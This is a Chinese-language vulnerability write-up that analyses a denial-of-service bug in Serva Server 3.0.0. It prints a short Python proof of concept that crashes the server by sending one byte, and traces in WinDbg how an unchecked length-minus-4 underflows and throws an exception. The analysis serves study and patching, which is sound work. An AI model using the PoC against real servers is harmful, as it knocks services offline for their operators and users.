漏洞说明

Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/ee00f393975d54945d5fa35207f4b7c4-Serva_Community_32_v3.0.0.zip
PoC:

import sys,socket

if len(sys.argv) < 3:

    print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'
    print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n'
    sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close

漏洞复现

Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先,Windbg附加Serva,发送PoC,PoC里只有一个字符z,数据很短,Serva Server捕获到了崩溃。

0:009> g
(b44.91c): C++ EH exception - code e06d7363 (first chance)
(b44.91c): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=0197753c ebx=0197769c ecx=00000000 edx=00000003 esi=019775c4 edi=019776cc
eip=7c812aeb esp=01977538 ebp=0197758c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi

这里调用RaiseException,明显是一处异常处理函数。查看一下kb堆栈回溯。

0:009> kb
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0197758c 004abaaf e06d7363 00000001 00000003 kernel32!RaiseException+0x52
019775c4 004cc909 019775e4 005e13e8 1dbf1f6d Serva32+0xabaaf
01977634 004085d3 00b8b178 0197769c ffffffff Serva32+0xcc909
01977648 004089a5 019776cc fffffffd 00000004 Serva32+0x85d3
01977678 00408f01 0197769c fffffffd 00000004 Serva32+0x89a5

离栈顶最近的几处调用都是异常处理部分,后面会说到,在4085d3位置的函数调用,会处理数据,并做一个比较。

if(*(DWORD *)(a1+20)< a3)
    sub_4CC8D2();

当a1+20长度小于a3的时候,则判断不通过,会进入异常处理的函数部分,这个a1+20的长度就是源于接收数据的长度,在这个函数入口下断点跟踪,会两次命中。

0:007> p
eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fa99
eip=004085c4 esp=0175f9f4 ebp=0175fa00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Serva32+0x85c4:
004085c4 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:0175fa08=0175fba8
0:007> p
eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fba8
eip=004085c7 esp=0175f9f4 ebp=0175fa00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Serva32+0x85c7:
004085c7 8bd9            mov     ebx,ecx
0:007> dc edi
0175fba8  00000000 2e323931 2e383631 312e3532  ....192.168.25.1
0175fbb8  00003330 0000000e 

第一次命中时edi包括的是IP地址,偏移+14h,也就是+20位置存放的是前面数据串的长度,这样会连续命中两次。第二次接收到的是一个z,第三次命中的时候,来看一下a3的值。

0:009> p
eax=00000000 ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288
eip=004085be esp=01947648 ebp=01947648 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Serva32+0x85be:
004085be 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:01947654=fffffffd
0:009> p
eax=fffffffd ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288
eip=004085c1 esp=01947648 ebp=01947648 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Serva32+0x85c1:
004085c1 53              push    ebx

a3的值是fffffffd,是一个负数,这个数作比较的时候会作为一个无符号数比较,这个数会变得非常大,导致了后面处理问题,那么这个数是从哪里来的呢。
向上层回溯的过程中,发现了这样一处调用。

signed int __stdcall sub_408EDC(char a1, int a2, int a3, int a4, int a5, int a6, int a7)
{
  int v7; // [email protected]
  signed int v8; // [email protected]
  bool v9; // [email protected]
  char v11; // [sp+Ch] [bp-28h]@1
  int v12; // [sp+30h] [bp-4h]@1

  v12 = 0;
  v7 = sub_408BAB(&a1, (int)&v11, a6 - 4, 4u);

在调用sub_408BAB函数的时候,会将a6-4作为一个size大小传入,这个过程会将数据长度-4,我们传送的数据是z,长度是1,这个过程会令长度变成一个负数。

0:009> p
eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408eef esp=0194768c ebp=019476c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Serva32+0x8eef:
00408eef 6a04            push    4
0:009> p
eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408ef1 esp=01947688 ebp=019476c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Serva32+0x8ef1:
00408ef1 83c0fc          add     eax,0FFFFFFFCh
0:009> p
eax=fffffffd ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408ef4 esp=01947688 ebp=019476c4 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
Serva32+0x8ef4:
00408ef4 50              push    eax

可以看到eax作为长度刚开始是1,第二步会令eax-4,随后eax的值为fffffffd,接下来进入处理。

int __thiscall sub_408BAB(void *this, int a2, unsigned int a3, rsize_t a4)
{
  sub_408981(a2, (int)this, a3, a4, (int)&a2 + 3);
  return a2;
}

这里a4的值是fffffffd,接下来传入后就会进入我们之前的判断,判断时,这个长度值会很大,判断肯定成立,进入错误处理。

void __noreturn sub_4CC8D2()
{
  char v0; // [sp+Ch] [bp-50h]@1
  char v1; // [sp+34h] [bp-28h]@1
  int v2; // [sp+58h] [bp-4h]@1

  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>("invalid string position");
  v2 = 0;
  sub_408A9B(&v0, (int)&v1);
  _CxxThrowException((int)&v0, &unk_5E13E8);
}

在错误处理中,调用CxxThrowException导致拒绝服务漏洞。此漏洞形成的原因,就是因为对数据包的长度没有进行校验,直接减4(可能程序猿默认传入HTTP的数据包最少也是包含GET部分的数据的),此时如果长度是一个小于4的数,变成了负数,导致rsize_t作为无符号数判断时是一个很大的值,最后引发拒绝服务漏洞。

标签: none

添加新评论